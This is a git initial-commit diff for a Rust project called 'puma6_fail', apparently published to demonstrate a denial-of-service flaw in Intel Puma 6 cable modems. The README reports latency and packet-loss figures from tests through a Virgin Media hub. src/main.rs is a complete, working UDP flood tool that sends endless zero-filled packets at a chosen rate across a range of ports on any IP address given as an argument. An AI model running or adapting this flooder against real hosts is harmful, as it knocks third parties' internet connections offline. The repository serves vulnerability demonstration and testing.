Genesis Commit

.editorconfig

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+# EditorConfig is awesome: http://EditorConfig.org
+
+# top-most EditorConfig file
+root = true
+
+# Unix-style newlines with a newline ending every file
+[*]
+end_of_line = lf
+insert_final_newline = true
+charset = utf-8
+indent_style = tab
+indent_size = 2

.gitattributes

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+# Handle line endings automatically for files detected as text
+# and leave all files detected as binary untouched.
+* text=auto eol=lf
+
+*.bat text eol=crlf
+
+#
+# The above will handle all files NOT found below
+#
+# These files are text and should be normalized (Convert crlf => lf)
+*.css           text
+*.df            text
+*.htm           text
+*.html          text
+*.java          text
+*.js            text
+*.json          text
+*.jsp           text
+*.jspf          text
+*.properties    text
+*.sh            text
+*.sql           text
+*.svg           text
+*.tld           text
+*.txt           text
+*.xml           text
+
+# These files are binary and should be left untouched
+# (binary is a macro for -text -diff)
+*.class         binary
+*.dll           binary
+*.ear           binary
+*.gif           binary
+*.ico           binary
+*.jar           binary
+*.jpg           binary
+*.jpeg          binary
+*.png           binary
+*.so            binary
+*.war           binary

.gitignore

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+# rust compiled
+target
+
+# idea project files
+*.iml
+.idea/

Cargo.toml

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+[package]
+name = "puma6_fail"
+version = "0.1.0"
+authors = ["Ross Allan <[email protected]>"]
+
+[dependencies]
+time = "0.1.37"

README.md

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+# Puma 6 fail demo
+
+Tool to demonstrate issue from this post found by macket: https://www.dslreports.com/forum/r31377755-
+
+DoS occurs in either direction - UDP from LAN to WAN or WAN to LAN.
+
+Testing through a local Virgin Media Super Hub 3 modem:
+
+    1mbps/2000pps   causes ~20ms average latency rise with 200 maximum
+    2mbps/4000pps   causes ~200ms average latency and 70% packet loss
+    3mbps/6000pps   causes ~250ms average latency and 95% packet loss
+
+![Smokeping graph while testing](https://i.imgur.com/eshENJE.png)

src/main.rs

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+extern crate time;
+
+use std::env;
+use std::net::UdpSocket;
+use std::thread;
+
+fn zeros(size: usize) -> Vec<u8> {
+	let mut zero_vec: Vec<u8> = Vec::with_capacity(size);
+	#[allow(unused_variables)]
+	for i in 0..size {
+		zero_vec.push(0u8);
+	}
+	return zero_vec;
+}
+
+fn main() {
+	let args: Vec<_> = env::args().collect();
+	// default to an unused address (entire /8 unused)
+	let mut target = "51.0.0.0";
+	let mut length = 50usize;
+	let mut mbper_second = 0.5f32;
+	let mut port_range = 10000;
+
+	println!("usage: ./puma6_fail <target ip={}> <packet length={}> <mbps={}> <ports={}>", target, length, mbper_second, port_range);
+
+	if args.len() > 1 {
+		target = args[1].as_str();
+	}
+
+	let source = UdpSocket::bind("0.0.0.0:10000").expect("couldn't bind to address");;
+	if args.len() > 2 {
+		length = args[2].as_str().parse::<usize>().expect("invalid packet size")
+	}
+	// 20 byte IP header + 8 byte UDP header + data
+	let data = zeros(length-28);
+
+	if args.len() > 3 {
+		mbper_second = args[3].as_str().parse::<f32>().expect("invalid speed")
+	}
+	let per_second = ((1024f32 * 1024f32 * mbper_second) / 8f32) as usize;
+
+	if args.len() > 4 {
+		port_range = args[4].as_str().parse::<u16>().expect("invalid port count")
+	}
+
+	let packets_per_millisecond:usize = (per_second / length)/1000;
+	println!("Sending {} UDP pps, {} bytes, to {} ports at {}", packets_per_millisecond*1000, length, port_range, target);
+
+	let start = time::PreciseTime::now();
+	let mut count = 0;
+	loop {
+		for port in 10000..(10000 + port_range) {
+			source.send_to(&data, format!("{}:{}", target, port)).ok();
+			count = count + 1;
+			let elapsed = start.to(time::PreciseTime::now()).num_milliseconds();
+			if count/ packets_per_millisecond > (elapsed as usize) {
+				#[allow(deprecated)]
+				thread::sleep_ms(2);
+			}
+		}
+	}
+}